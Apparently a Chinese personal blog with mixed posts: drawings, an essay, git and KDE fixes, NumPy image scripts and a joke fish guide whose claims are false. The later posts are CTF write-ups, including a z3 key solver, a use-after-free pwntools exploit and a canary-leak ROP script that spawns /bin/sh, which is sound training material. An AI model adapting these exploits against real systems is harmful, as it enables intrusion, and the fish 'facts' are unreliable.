
找到一些小时候的画（具体年份已忘记，只有碳十四测定能告诉我们了），在这里放出几张，剩下的已经被中国美术馆、卢浮宫买走了，预计2222年我22岁时展出。

![walking](https://oj0gzq.dm.files.1drv.com/y4mW_DiAZQXl1g8hlGokaOij1QkUoOiYGcmpW3zP2lRgu-c0PjpGs0TEcMJZfdfTjk9wiOnPLhN4tEZJM4iSoY7p-ETIlpbJ06knB8nXsf4mNM1z5Y4-rl1I-B1TlwfMZBMte-560DJsTZkSBwGkBoZUQn6l3Qx5oC0r7dMwrD3Pz2XWIVKTUue1Cf0Mll-0yU1?width=1024&height=699&cropmode=none)

![classromm](https://nsh5kg.dm.files.1drv.com/y4msrjZNdiJ8v2yYBZ9eTGdYJWDRlDtsCu-pQM8czXig8fY0GTpt72Qqx3ZHQGy4FyZV69Yqt_GLT54DWVbfVQivYtcCFXc6ZJ9DR7DXc9aEXKF3BKUJc9OWujMBKnlRrP6B9eIjWPuxBikuVno3fVCLR5Mnje17sp0YZlVnTNOw-An7-d2MPJyamxr9LtFrGuz?width=1024&height=724&cropmode=none)

![flower](https://zz8q5q.dm.files.1drv.com/y4mgHZ7o5pM8jV7NSo1uPTF__AWBKdhnHpGcrTXK32aoF6XmGF5iHJQC7CtibIXYMAJmZGnVIa3l-l0umy6eEBmD3aZxpu9J0NSaT4m60ShcwLenNtLLNvdpBZt3vZ8fQAgEvnTkvkVMrqBVqPRD59YhNC61AkrLBfgLZgdje3sf1op6gUwXYZ2Fco0cjUgnOLm?width=751&height=1024&cropmode=none)

![head](https://pprkpg.dm.files.1drv.com/y4mE-bSqdwGTYEq1xBaXy94KeOeb0L1BeRZeRvqooJvUlheVbBKgOWE6zgWrsP27yOwg49b_tVo3Hqgqz7coSfaCEdpOWTrtgNRB2RgIkKgwLGLgcu7Pry9QzK4SzZb4-G42ura-4e2IvlN8MPE4LKEk7wDDDa-N0qeTOunPe1j8oSjLfw2cE3YPg214V271Z3d?width=699&height=1024&cropmode=none)

![temple](https://artrhw.dm.files.1drv.com/y4msvz8bNLWQpc4GkX1XKk5E0bG5aoN22ciNavq08tEns6Nos3dfVzan9lJsl1b4QfJJ7XC7Lnk6YvQFyx_j0AKdyT13VKtEYGDx7PUQKFUQXE0LmTTBKs8fARBKq83zK1cbHqrbVg3ymECs7RPkx-SmgnsBbQjAZipYFy8jcU4jY144Heep2bymxh7gQBjabltGQO1rDGHFiTaWdE2TNezQg?width=1024&height=745&cropmode=none)


旧画

<div style='display:flex;justify-content:center'>

![motsm.gif](/img/motsm.gif)

</div>

<p style='text-align:center;text-indent:0'>
人、太阳、车轮三位一体，所以不能同时出现在银山上。
</p>


银山上的男人


下雨了，天气预报说有雨，但吃完晚饭都没下。坐在笔记本电脑前断断续续总算听完了上午 9:50 的计网有声 ppt（这学期所有人都讨厌计网老师讲课过——长，且大部分是“啊”、“相对的对应的”、“嗯”和意义不明的停顿）。无聊刷了半天已无营养的互联网，窗外这才响起了许久不闻的雨声。

很多人把雨声归类为“白噪音”，喜欢听它入眠。雨声也确有安抚的效果。每天穿梭于电脑饭桌之间，窗外也只有上世纪网页版的无聊景色。现实生活没有什么刺激，精神世界也没有宽广到能容下一整天的畅游。不想听冗长的课写莫名其妙又多如牛毛的作业。忙里偷闲时才显得缤纷的网路世界对整天趴在电脑前的我也只是另一个地狱。

这时候，下雨了。身边所有的空气都传递着讲不出为什么但就是让人心安的“噪声”，伴随着震动，皮肤也感觉到了雨天特有的湿冷感，像是整个身体在泡不用擦干的澡。

也像是悬浮在与世隔绝的泡泡里。

不过我还是对这场雨抱有一个不太可能实现的奢望：我希望它们全都下到我的眼眶里，湿润干瘪的眼球。


编译器认知实验


这种情况看起来内容没变，但文件一定是被真正修改了。改变的点可能是换行符（LF ⇄ CRLF），也可能是文件权限。

如果是文件权限，设置忽略文件权限即可：

```shell
❯ git config core.filemode false
```

我出现这个问题的原因是用 exFAT 格式的 U 盘在两台 ext4 格式的电脑之间拷项目。这两种格式一个为 Windows 设计一个为 Linux 设计，权限管理自然也不一样。因此权限在 ext4 上本来是`-rw-r--r--`，过了一遍 exFAT 就成了`-rwxrwxrwx`。所以 git 认为文件变了，但编辑器就是没法高亮哪里变了。

其实 git 自身是可以告诉你文件权限被改变的：

```shell
❯ git diff README.md
diff --git a/README.md b/README.md
old mode 100644
new mode 100755
```


解决没有修改文件但 Git 认为你修改了


大家经常分不清自己吃的是什么鱼，所以大家经常吃的是什么鱼呢？为了解答大家的问题，我特意邀请到了我来给大家讲解常见海鱼。那么现在就请大家教我如何分辨常见海鱼。

首先我们先来认鳗鱼和秋刀鱼，鳗鱼和秋刀鱼不像其他鱼有鱼头鱼尾，鳗鱼和秋刀鱼只有类似其他鱼中间部分的鱼肉段。一般横着放的是鳗鱼，竖着放的是秋刀鱼，因为刀是竖着插进鞘里的，而鳗是横着放在案板上。请大家看 ppt：

|鳗鱼|秋刀鱼|
|:-:|:-:|
|![鳗鱼](https://m2qhpw.dm.files.1drv.com/y4mqh8Cj5xbQynHVBrlkk4YAnggujBKufEQevp3PkCuvt5S4-19AZaMzOSyoVEetTRzICqzavTEAQMsm4KUVi7Kg-unjv33Z6t3z5fKiEpzm3LHadDTAfjj83FDEF5xcrPwKwlaKMFeJoBQQi3zkwOfSgPpCaZeYAgW2up9m62RyI3mvcDAT9vvp1iljwBshf3j8s4Nm6O8nmFzjG7DpTMQag?width=1024&height=768&cropmode=none)|![秋刀鱼](https://0vgwhq.dm.files.1drv.com/y4mQpAbMsSUiqGntg4RGXVnjrhWH-ksK8kycM60meCbVY95-NQjrIXh8cPQwa1n9PMJdmt8i_97iej8cvy5xhBDlQM_4Jy4Ou1wOUW9xePPN52En2r7z6mjTy2wqiHVf3Y1BpD5MzZeloWT8Sm2wKSmOLQfGnLDoHGTQ_CWCr40DJMYEbNkAHt5KbdlARouHqVO?width=768&height=1024&cropmode=none)|

接下来我教大家分辨凤尾鱼和鲮鱼，这两种鱼一个红色一个银色，因为颜色过于相近所以很难区分。我教大家一个秘诀，我在哈佛大学演讲时向那里的同学分享过这个秘诀，黄色的黑色的白色的不管什么人都对我报以雷鸣般的掌声，这个秘诀就是：这两种鱼一个红色一个银色。

|凤尾鱼|鲮鱼|
|:-:|:-:|
|![凤尾鱼](https://nuru4g.dm.files.1drv.com/y4mY4RdEDJK1BfcHPTdpCH7RRTa8_EU6PGWA9zQfVf15HEx9WxbZSYcJG0V2KyruXeFIX6IddZuDJkHrpkSSZrdxwwQPw_UJSxzc6Djvc6XzlmWdzA41qJKJX4l4xsn2lNXLYIs677tfcCL4-TYv6ZuvQiLo-K_r1l3XOGVACNFN7Dq3NX4GbkPOBKRVHUPRxIE?width=1024&height=768&cropmode=none)|![鲮鱼](https://yhhrvw.dm.files.1drv.com/y4mwqJVHHDdiHpHtImDdDwOme7-YLm1XmTVCuC8TOuX06pzAHj4h5Fu5OepStytCJmkImgRYXnSGb0iZyUOdy7ogMn2SxtpKafgUOZjFP1XsPmMwZN53U6zo7cpDa9_TpiWjDy6M_nCYeOvLZnDjaLE4n-YiJa1l_IXtcbsqO-QmYAjLay_VnK449aYPwhgsGX7nJMLHubgvAg1QC8YmRhwug?width=1024&height=768&cropmode=none)|

最后我来告诉大家怎么一眼认出沙丁鱼和金枪鱼。沙丁鱼顾名思义，是和西红柿一起钓上来的鱼，它们因为和西红柿共生而得名沙丁鱼。怎么样这个方法是不是很简单，很直观？金枪鱼也鱼如其名，是由碎肉组成的微生物，大家可以从右下我在马里亚纳海沟拍摄的图片中找到金枪鱼的身影。

|沙丁鱼|金枪鱼|
|:-:|:-:|
|![沙丁鱼](https://altshw.dm.files.1drv.com/y4mRPUxkggbM0q19b51LOJdNsmJgaTdg6fWEkJAevVUmPI-eCN3J08emkaEvw4QxHVspYS0xDxBm_7nMcQjKqQJaBZ_7IAxaz1XbBcMLcTJ4GT1K30HH5orGWZ5KAAJJXBLGLCg6-lCOMpXEjyu4p8FN8XbNwIAez7_j6QJdwk_azm1K-pAK0OvSA7DCa1aZZet?width=768&height=1024&cropmode=none)|![金枪鱼](https://apsfnq.dm.files.1drv.com/y4mjGV_7DsngwLe_mh_w4Qi1Fx8sufIYAggQFov9hVZk01cB6R7nKUW4Iu6GXwMwUp0C9e6nGvu6hSsqstXGKHLmLU1UYJtXS3s0-eUN7fzXmgOXtuJ57uDS9ir-if3kCr6HLePlo5JWHwzHLcPKGMENyLHG3BlWcFCf3dBOG2aQ6DRUnUTZU-RMpuJtASxdzZrJ9XrHSOoDIOobCV28GeUVA?width=768&height=1024&cropmode=none)|

怎么样这些方法是不是很简单，很直观？喜欢的朋友们请点赞，不喜欢的朋友们请考虑捐助，这样我才有动力写出更好的文章。

海洋学博士教你辨识常见海鱼


![Short-eared Owl](https://arthdw.dm.files.1drv.com/y4mJNrlUapLGT_yYseEVNU5bNeQz-4pIHBpOZAIhHeFTIkAymlNwAuyFR4MmcznhQzkeB1Ud9i-YcgoroUbw63RN_opo6l5M6T1FGGGXN6X6eSsY7KJEoZZRNpgY0ltoZZw3KfxGobSwtQYTfZ_Swqx0BCQHmDMxo_6Q3d0puoXo8ds-bGiVLw9wjV52xA4vw370oDWJnkAIeA46UqHq0EdKw?width=2048&height=1536&cropmode=none)

瞎 jb 画真有趣。


短耳鸮


![Zig Skull](https://pgqirw.dm.files.1drv.com/y4mZ1VC7EDE_7lp2wLk3h8TjFTH7Azi_yF4E-WqadKpR2HYDz7AM1kLumSLDg9wBSgHDiQIFpTXeDwOY_OQj6txKzuE06Vj1Q2W1KVo6Y-jH1VYvq-OEaKSZTJG9mHSeGx-zOJsjyeDCym2TvQ5xMml7Hp9OFbbWqHnXe-3_cf5yimN3IXWaATntAqdmAmBOQgAA9I795pbKMp5U1eLIaQ1yQ?width=2100&height=2100&cropmode=none)

画的是复习时的绝望感，俺感觉俺也可以算是现代艺术家了。


出窍！


![Tribute for Syd](https://yz801q.dm.files.1drv.com/y4m_44PFOtPU7BCaFhgBLNi6Ii4hTHruhCbT1jbTVStIQOfFGjJMSdpA8sq24dia7FKE5gnPRuXzwuxB1KTTajzWyA6iJFnoHlB5CacSiuRinO9mrSWVB2qvb-ulAUFC-H8t_ZsjGON7XNEqpCKMb6-O9iyriZ-8f0_DGrjdvzXvoM3wYd4ev7roTol_Km805sm43gEocPQelaT05A3yN2pcQ?width=1536&height=2048&cropmode=none)

小时候第一眼看到倒 A 高达就迷得不行，还去他的网站想找找有没有倒 A 的设计图啥的，然后发现了好多没见过风格的画，最后右键下载了一张特厉害的红色高架桥。

可惜。

#### 2020-9-8

网上冲浪时偶然找到了那张“[特厉害的红色高架桥](https://web.archive.org/web/20200607064129/http://sydmead.com/city-on-a-megabeam/)”，但怎么看都不是红色的，看来记忆出现了偏差。

席德·米德的赞歌


> 其实就是用`numpy.linalg.solve`解方程啦

透视变换就是三维空间上的一个点乘上变换矩阵转移到别的坐标（因为图片本身是二维的，所以新旧坐标的 z 值都为 1），即：

$$
\begin{bmatrix}
XW \\
YW \\
W
\end{bmatrix}
=
\begin{bmatrix}
a & b & c \\
d & e & f \\
g & h & 1
\end{bmatrix}
\begin{bmatrix}
x \\
y \\
1
\end{bmatrix}
$$

解得新坐标：

$$X = \frac {ax+by+c} W = \frac {ax+by+c} {gx+hy+1}$$

$$Y = \frac {dx+ey+f} W = \frac {dx+ey+f} {gx+hy+1}$$

但其实 a-h 是未知的，所以得先通过几对给定的新旧点来解出它们，才能得到新旧图片上所有点的映射。

解 a-h 的步骤如下：首先把分母与左边的 X/Y 相乘，再整理等式把单独的 X/Y 拿到等号右边可以得到两个方程：

$$ax+by+\phantom 1 c-0d+0e+0f-Xxg-Xyh=X$$

$$0a+0b+0c+xd+ye+\phantom 1 f-Yxg-Yyh=Y$$

转换成矩阵形式：

$$
\begin{bmatrix}
x & y & 1 & 0 & 0 & -1 & -Xx & -Xy \\
0 & 0 & 0 & x & y & 1 & -Yx & -Yy \\
& & & & & \vdots
\end{bmatrix}
\begin{bmatrix}
a \\
b \\
c \\
d \\
e \\
f \\
g \\
h
\end{bmatrix}
=
\begin{bmatrix}
X \\
Y \\
\vdots
\end{bmatrix}
$$

8 个未知数需要 8 个方程来解，每对新旧点提供两个方程，所以需要 4 对点来填满矩阵，求解 a-h 相当于解形如 Ax=b 的方程。
`numpy.linalg.solve`就是用来解 Ax=b 的函数，用 A 与 b 当参数调用就可以得到 x（a-h），这样我们就得到了变换矩阵。

构造 A、b 与解变换矩阵的代码如下：

```python
A_list = []
b_list = []
for xy, XY in zip(old_points, new_points):
    A_list.append([xy[0], xy[1], 1, 0, 0, 0, -XY[0] * xy[0], -XY[0] * xy[1]])
    A_list.append([0, 0, 0, xy[0], xy[1], 1, -XY[1] * xy[0], -XY[1] * xy[1]])
    b_list.extend(XY)

a, b, c, d, e, f, g, h = np.linalg.solve(A_list, b_list)
H = np.array([[a, b, c], [d, e, f], [g, h, 1]])
```

拿到变换矩阵遍历新图的每一处 (X, Y) 坐标，再通过`numpy.linalg.solve`就可以算出变换前的 (x, y) 坐标：

$$
\begin{bmatrix}
a & b & c \\
d & e & f \\
g & h & 1
\end{bmatrix}
\begin{bmatrix}
x/W \\
y/W \\
1/W
\end{bmatrix}
=
\begin{bmatrix}
X \\
Y \\
1
\end{bmatrix}
$$

```python
xy1 = np.linalg.solve(H, [X, Y, 1])
x, y, _ = (1 / xy1[2] * xy1).astype(int)
```

然后把原图 (x, y) 处的灰度值拿来放到新图的 (X, Y) 处即可（是的，这里没考虑插值啥的）：

```python
if 0 <= x < im.shape[0] and 0 <= y < im.shape[1]:
    newim[X, Y] = im[x, y]
```

效果图：

![perspective-transform](https://opru6g.dm.files.1drv.com/y4mCCaY4FRxAu7ouoS-7TR7t_1nrF2S_L2BstcaJLMKnNE1OU06RskkYCAX7QkF58SgW91O_mra-ZjDZcb94feJbqrSGxeeJ5-kytgH5AJYraWH1qePA1oLlG9r9T0VRTicyPu_El1woNmdieOYeM_6B_NoQM2CKfq5ifGkUYHhwFezjF_6AcO19pSrRvw8z5Q78OfMj7DGUIWbv5fqS1zdvw?width=1920&height=927&cropmode=none)

[完整代码在这里](https://github.com/sinofp/dipexp/blob/master/perspective-transform.py)

[参考了这篇文章](https://web.archive.org/web/20150222120106/xenia.media.mit.edu/~cwren/interpolator/)


Numpy 实现透视变换


前些天看见有人慢镜头拍 CRT 显示器，才知道原来 CRT 某一时刻只显示一行，感觉好酷啊！于是就想着能不能写段程序模拟一下，看看任意图片在 CRT 逐行显示的效果下是什么样的（没钱买 CRT 显示器）。

程序主体就是这个循环：

```python
frames = []
box = (0, 0, width, ROW)
for i in range(0, height, ROW):
    region = im.crop(box)
    blank = Image.new(im.mode, im.size)
    blank.paste(region, box)
    frames.append(blank)
    box = (0, box[3], width, box[3] + ROW if box[3] + ROW < height else height)
```

裁几行，存起来，裁几行，存起来：先用`crop`根据 box 的左、上、右、下四个参数裁剪图片，然后用`paste`粘贴到新创建的空白（黑色）图片上，再把新图片放到列表里以备保存成 gif 。

因为 CRT 显示器可以[以 kHz 为单位](//www.pctechguide.com/crt-monitors/crt-monitor-resolution-and-refresh-rates-vsf)一行一行显示图像，而现在的显示器顶天以 480Hz 整张整张图像显示，要是每帧只显示一行像素没法模拟 CRT 的视觉残留，所以 ROW 其实是个十位数（即每帧显示几十行像素）。

最后结果真的闪瞎眼，所以我折叠了。调小 ROW 和 FPS 可以缓解闪烁感，但就没慢放 CRT 内味了。

[GIF链接在这里](/img/highbeam_crt.gif)（如果患有癫痫，或者身体不舒服的话就不要点了）

[完整代码在这里](//gist.github.com/sinofp/80a6d0eb773827546241f5002eb4c217)

#### 2019-12-21

> gif 就是个烂格式！本身帧与帧的间隔是以 1%秒为单位设置的，但显示器 144hz/60hz 的刷新间隔都对不上 1%秒，这就导致基本调不到想要的帧数（之前用 imageio 设置 fps=60 保存下来的 gif 用 pillow 读取发现 duration 是 20 毫秒，就是约到 1%秒的结果）。

> 另外这程序[改几行](//gist.github.com/sinofp/a59dc27365f7351b2d2d11e7cb138cc1)可以把巨长图片转成分页的 pdf：1536×44938 的图片，想看一眼还得先缩放半天。直接转成一页的 pdf Edge 打开是乱的，火狐能正常打开，但特别糊。怀疑是到了单页分辨率极限了。分页后 Edge 就能正常打开了，而且和图片一样清楚。


创建动图模拟 CRT 逐行显示


![Earthman Lu](https://zt851q.dm.files.1drv.com/y4mM6cdsN7hYTCHS0uJBahJ9u8xILR_UFNWUvxA5DsDvvkXjP0_T7yfr-Y5g0l65O5srQTRr5qtvkc2AzACmdieSfRH-sEO_Whcw0jB1v-f_fUD_RJBnweMTXsXTddmsd4r6OFhGGMbsPQVIq4JP_rMSUmdJHazUz-tGpzp7SRbecQZL_T6CyWjMtMjDkHvzbkJ2--O_1heWTcZmPjjpBVu4w?width=1024&height=768&cropmode=none)

Earthman：“粪便能热解制成活性炭，净化你喝的矿泉水。”


Earthman Lu


![Pilotman & Dark Forest (L)](https://2fgyjq.dm.files.1drv.com/y4m8DTPTpjRLS8GjOiz1wDSf56PefxJV7K-PzUxQJYnvJ6swQV1Y295xQZSkC7NkVhdrlkS_mgszGf7KEW-ztgsGWfahuVUSDblarkg6HH33dC51HapyxNxkxlPXIv1EQ1jrc_XjTlnUlJidibm1dcXJIXETn0l56B8zr3_j2ygn4tf1igg7ESwSIwzrU7AcR7Iyz587P-qUak-MUh-LZlWbg?width=1024&height=768&cropmode=none)


Pilotman与绿墨水


![Pilotman](https://apsujq.dm.files.1drv.com/y4mb_kTzrxPAsx71XjMLxWHHvtY9nlit1l1i9LKlqjqrU7h2gfQznQ3u7JdsMBJf2ibHx2esPrEabZ0HPkj0xNXIb8mRqQvnpKSfJAN7xrFHDxdPkKBbeANRedKplrf6rZbHiUEu4FsEH_WJV74-1TlHqcqlusQApS_irzNku7FRjhIdvNkHoEevp2MqiUciSIEUY8FKZ4ntNhmLSopjYpWSQ?width=1536&height=2048&cropmode=none)

<p style='text-align:center;text-indent:0'>
哭了，日常用的cocoon坏了 ，看到高颧骨的人就想到钢笔尖。
</p>


Pilotman


![size.png](https://pbpqxw.dm.files.1drv.com/y4mgmrFR0bAjOcXdNjLwt28vNIFrgjQ27nbAU6HgpS4WJngJQ8zo57pS7J-hJcF-XiLhBg2z-XLsHyFit1Af62-OfsKXfwdyfb9NZJA00M_Pj9JlMVRFQm_dgvE3neeS8JY74x70E022ySmNzUeb77PeGzmYzu__-pz4m7M1IOfONB7aDuFNRb7aSP8O02gPbYfEaKSYTDeomp2kwZWzhwuww?width=768&height=1900&cropmode=none)

<p style='text-align:center;text-indent:0'>
看到一件特想要的衣服，但没有我的码，怀疑被仅剩的S码绑架了
</p>


M码呢？


![high beam is lightning](https://0vgldq.dm.files.1drv.com/y4m91GHKmfSWoylcuP1AaGhT75bLeDRKSJj3Zj3Ytxf17rEt2WOza-w2L9lzF-JKIiU6FqhQxvAt1tpjFx3qaBmEdUCJWXqp6UmYE7uPI7B0F5pv7hP3l97SKUrvR9eDCWZkRLyLUKaIDm6vGq0yblFn7Xz9nZBq2sdkvU4dyMmijHPo7YjF-w9doGlE3WIPYb-4uyKRwW2W7ZjXpg0eHVSkQ?width=1344&height=742&cropmode=none)

<p style='text-align:center'>
开着开着我以为要下雨了
</p>


闪烁的远光灯就像闪电一样


![watch your indentation](https://m2qwlw.dm.files.1drv.com/y4mRhT8U7ZpVvg9aN0KXyABBvvs9mD5nG0Jj3NIEJOxlsGYMW4xmRjo6Z-dFJ4zUOMzDLx5hs77aPpcZUDyMA1BIFU_gOWRFPZ9Jw9iPvNIvQ7z36eTUpEPkzu4YohQ0MstlvaY7ithlE3zTTGiSxKv3jFACzU8P2twVj1bOO3tyU4W06G_X63EpQspQJ8ZFJsXFotSSEnycur_TAXUqVn38g?width=2048&height=1536&cropmode=none)

<p style='text-align:center;text-indent:0'>
犬牙差互一般的代码读起来是真的头疼。
</p>


注意缩进！

安了很多新软件，发现明明 /usr/share/applications/ 下存在对应的 .desktop 文件，但应用菜单里就是不显示。查了半天发现可以用 [`kbuildsycoca5`](https://unix.stackexchange.com/questions/240243/what-is-kbuildsycoca4-used-for) 来定位问题。

比如我输入 `kbuildsycoca5` ，显示如下：
```shell
❯ kbuildsycoca5 
kbuildsycoca5 running...
kf5.kservice.services: The desktop entry file  "/usr/share/applications/org.kde.kded5.desktop"  has Type= "SystemService"  instead of "Application" or "Service"
kf5.kservice.sycoca: Invalid Service :  "/usr/share/applications/org.kde.kded5.desktop"
```

按照输出的提示，把 /usr/share/applications/org.kde.kded5.desktop 中的 Type=SystemService 改成 Type=Service ，再运行 `kbuildsycoca5` 就不报错了。这时打开应用菜单，所有软件都有好好显示了。

如果还不行的话，请参考[这篇文章](https://www.dedoimedo.com/computers/plasma-menu-update.html)


手动更新 KDE Plasma 的应用菜单


![The Doors](https://nur90g.dm.files.1drv.com/y4mVIg_bWJFxAha_CzmwO6XphC_L_2A7e4PRc9ufxVbF8av4PxoXXNgyBgoHV_VvDoe_g_O3SklVu38iAYy-1A1pkp35RyI46bpi-dx3RNSpeNT4QxbDqw8fL0bj8YQwwtsbs1NAeUC2AtHa6VoU8DRphxZwvoY3eSSNe8n6hcYp06iOLBnSh8lo7NrTuoxJUo7sOShbv_6gMAmhHMSf-u9PA?width=1536&height=2048&cropmode=none)

<p style='text-indent:0'>
Faces come out of the rain...
</p>

<p style='text-align:right;text-indent:0'>
Let's swim to the moon...
</p>


Doors


![D.N.A.](https://xj9dvq.dm.files.1drv.com/y4mYTq5sarYdjm3be4FzU29c2yLBxB2Ayi33XYnKryZ67zTR_cBUjcB3bPgTMB_vh7Dzgxfa022OFNaPl8yaOeNx_WZ789Go8WU-jdIHGiePda2jfCNfeMkwvthQ1HTgKIbpd7ZWMl1MMIvq6IkzC-4ScrHEkP9RWp5TCiz9ZoicZ9l4fU3T9CQua3frXxdgKPL1o7eQtQmSoP0HJLadT0lnw?width=2048&height=1536&cropmode=none)

<p style='text-align:center;text-indent:0'>
卷发就是生命的双螺旋！
</p>



ida 里 shift+f12 找到“Please Input Your Key\_ Now!”，然后找到程序入口“sub_4014C0”(`; DATA XREF: sub_4014C0:loc_401588↑o`)。

然后输入了一个字符串给 v11，`sub_4012F0((int)&v11)`需要返回 1.

sub_4012F0：v2 要在`*((_BYTE *)&v4 + v2) == *(_BYTE *)(v1 + a1)`的情况下从 0，++到 12，此时若`*(_BYTE *)(a1 + 20) == 72`则返回 1.

v4 这样明显超了一字节又强制转成一字节的可以在 ida 里对着数值右键，转成 16 进制取最后两位写进 z3

```python
from z3 import *

d2c = BitVec('d2c', 8)
d20 = BitVec('d20', 8)
d24 = BitVec('d24', 8)
d28 = BitVec('d28', 8)
d34 = BitVec('d34', 8)
d30 = BitVec('d30', 8)
d3c = BitVec('d3c', 8)
d38 = BitVec('d38', 8)

v1 = d2c + 1000*d20 + 100*d24 + 10*d28
v2 = d34 + 10*d30
v3 = d3c + 10*d38

solver = Solver()
solver.add(2*(v1 + v2) == 4040)
solver.add(3*v2/2 + 100*v3 == 115)
solver.add(v1 - 110*v3 == 1900)

while sat == solver.check():
	print(solver.model())
	print('\n-------------')
	solver.add(Or(solver.model()[d2c] != d2c, solver.model()[d20] != d20, solver.model()[d24] != d24, solver.model()[d28] != d28, solver.model()[d34] != d34, solver.model()[d30] != d30, solver.model()[d3c] != d3c, solver.model()[d38] != d38))
```


repwn


No PIE，说明可以直接用 ida 中看到的地址，比如最后要执行的 magic 函数(// starts at 8048986)。

可以看到 add_note 使用了 malloc，del_note 只用了 free 但没有给指针赋值 NULL，所以可以在 free 后使用。

结构体 note 有两个指针，一个指向打印 note 的函数（正常流程是 print_note_content），一个指向 note 记录的 content。在 print_note 中会调用打印 note 的函数。

所以应该输入 note content 时用 magic 覆盖掉原来 printnote 指针指向的 print_note_content，利用没有置空的 printnote 在 print_note 中执行 magic 函数。

结构体 note 在 malloc 时会分配为 fastbin，16 字节大小的空间。如果要让 magic 的地址在写内容时覆盖到之前 free 过的 note 里，就要申请和 note 一样大小的 note->content 空间（sizeof + gcc -m32 可算，8 字节），同时保证没有覆盖到之前 note 的内容空间里（就是说前面的 note->content 不能是 16 字节 fastbin 大小的）。此外，要申请 note->content 首先要申请 note，所以之前得 free 掉两个 content 段不为 16 字节的 note，访问时用第一个 note->printnote 调用 magic（fastbin 的链表是后来的插入到头里）

脚本（需要先写好/home/hacknote/flag）：

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.terminal = ['tmux', 'splitw', '-h' ]
io = process('./hacknote')

magic_addr = 0x08048986

# gdb.attach(io)

# add_note * 2
for _ in range(2):
    io.recvuntil(":")
    io.sendline("1")
    io.recvuntil(":")
    io.sendline(str(50))
    io.recvuntil(":")
    io.sendline("xxx")

# del_note * 2
for i in range(2):
    io.recvuntil(":")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(i))

# gdb.attach(io)

# add_note magic_addr
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(8))
io.recvuntil(":")
io.sendline(p32(magic_addr))

# print_note
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(0))

io.interactive()

```

另外 docker 里要调试，得在 run 时加上`--cap-add=SYS_PTRACE`,进入 tmux，再在脚本里加上`context.terminal = ['tmux', 'splitw', '-h' ]`才行，不过都装好后在哪里的机器都能用是很方便的。


lab10


有时自己的 PR 会因为 commit message 不合要求被 commitlint 卡住，这时用 [`--amend`](https://www.jianshu.com/p/a8a2ac58f37d) 修改成合要求 commit message 再强制更新到自己提交 PR 的分支就可以了。

```shell
# 用 --amend 更新 commit message
git commit --amend -m "新的commit message"

# 强制更新到提交 PR 的分支 (origin xxxxx)
git push --force-with-lease origin xxxxx
```

提交 PR 后修改 commit message

<div style='display:flex;justify-content:center'>

![avatar](https://i.loli.net/2019/09/24/iDVp7qXHnBGjf4P.png)

</div>

<p style='text-align:center;text-indent:0'>
DK22B93
</p>


关于我


## smallbug3

![flag.png](https://dsm01pap002files.storage.live.com/y4mNiHdzupU6u3wfdwQn8WvOJRptphIZelhFOk4Cn_E0XRxaITdBL8uQVh_gAPAg7kMU8Nk6MrSRB3qUq4CumbEe7nJ4ibTg84GkGxXVJ4uNl5XuPipHHbk96ylyyjzfoVkmX4MMDObzmCS2KiVS3aZobYXIgVyLlFrxGKniBfjJUg?width=1078&height=267&cropmode=none)

canary 后两位一定是 00，可以通过`canary`找到，填充多少位，可以通过`telescope 0x20`找到 canary 位置，再`distance $rsi canary`找到。

canary 小端序存储在内存中，就可以把开头两位 00 覆盖成‘c’，这样读到 c，rjust\x00 后就可以解出 canary。（我用 sendline，多发的一个'\n'起到了填补\0 的效果（但自己一直没发现，卡了好久））

程序基址可以用 gdb 中 vmmap 看，发现和跟着 canary 打出来的 rbp 前几位相同，我记得讲过开了地址随机化程序基址后三位也一定是 000，所以可以根据 rbp 求出程序基址。

思路就是首先泄露出 canary、程序基址前几位，然后 puts 泄露 puts_got 推出 libc 基址，第二个 main 就可以 system("/bin/sh")了。

说是 rbp 可以用 telescope 看出和程序基址前几位相同，我又发现 rbp 下面一句： `0x7ffeadd0ec78 —▸ 0x7f68efcc6a87 (__libc_start_main+231) ◂— mov edi, eax`，如果能打印出它，连用 puts 泄露 got 表都不用，直接可以在 libc 里找**libc_start_main 就能得到 libc 基址（gdb 里算过了，是对的）。但因为 rbp 开头是 0，所以想要不覆盖 rbp 而打出**libc_start_main+231 是不可能的，本想着第二次 main 再打印，又 EOF 了好久，才发现第二次 rbp 下面不是这句了……不爽，还是想要通过这种方式算出 libc 基址，在它之后（\$rsi+0x118）又找到了\_dl_init+118 的地址，填充好了打半天出不来，才想起来 canary 也带\0，打印到 canary 就停止了不能再往前走了……

只好按部就班找 system、binsh 解出题目：

```python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

io = process("./smallbug3")  # , env = {"LD_PRELOAD" : "./libc-2.23.so"})
libc = ELF("./libc-2.27.so")
elf = ELF("./smallbug3")

pop_rdi = 0xb33  # ropper --file ./smallbug3  --search "pop | ret"

io.recvline()
io.sendline("-1")
io.recvline()

io.sendline('a' * 0x88)  # 隐含地发送了第0x89个字符'\n'，它会覆盖掉canary的最后一位
io.recvline('a\n')

canary = u64(io.recv(7).rjust(8, "\x00"))
elf_base = (u64(io.recv(6).ljust(8, "\x00")) >> 12) << 12

log.info("canary: " + hex(canary))
log.info("elf_base: " + hex(elf_base))

io.recvuntil("Leave some message for us:\n")

pop_rdi_real = elf_base + pop_rdi
main_addr_real = elf_base + 0x9cc
puts_got_real = elf_base + elf.got['puts']
puts_plt_real = elf_base + elf.plt['puts']

# 这里又忘了给pop_rdi加elf_base，又卡了好久SIGSEGV
io.sendline('a'*0x88 + p64(canary) + 'a'*8 + p64(pop_rdi_real) + p64(puts_got_real) + p64(puts_plt_real) + p64(main_addr_real))

libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, "\x00")) - libc.sym['puts']

sys_libc_real = libc.symbols["system"] + libc_base
binsh_libc_real = next(libc.search("/bin/sh")) + libc_base
log.info("libc_base: " + hex(libc_base))
log.info("-----------------------------------------------------")
log.info("第一次main函数之旅到此结束")
log.info("-----------------------------------------------------")

io.recvuntil("the length of your name:\n")
io.sendline("-1")
io.readline()
io.sendline('haha')
io.recvline()
io.sendline('a'*0x88 + p64(canary) + 'a'*8 + p64(pop_rdi_real) + p64(binsh_libc_real) + p64(sys_libc_real))
io.interactive() # 眼看前面都没报错，可最后就是程序自动结束，才想起来忘了打interactive……
```


bug3


> FLAG{Shuffling 15 not a problem, just a piece of cake... XDDDDD...iJgZBwpBFh1TtpQR}

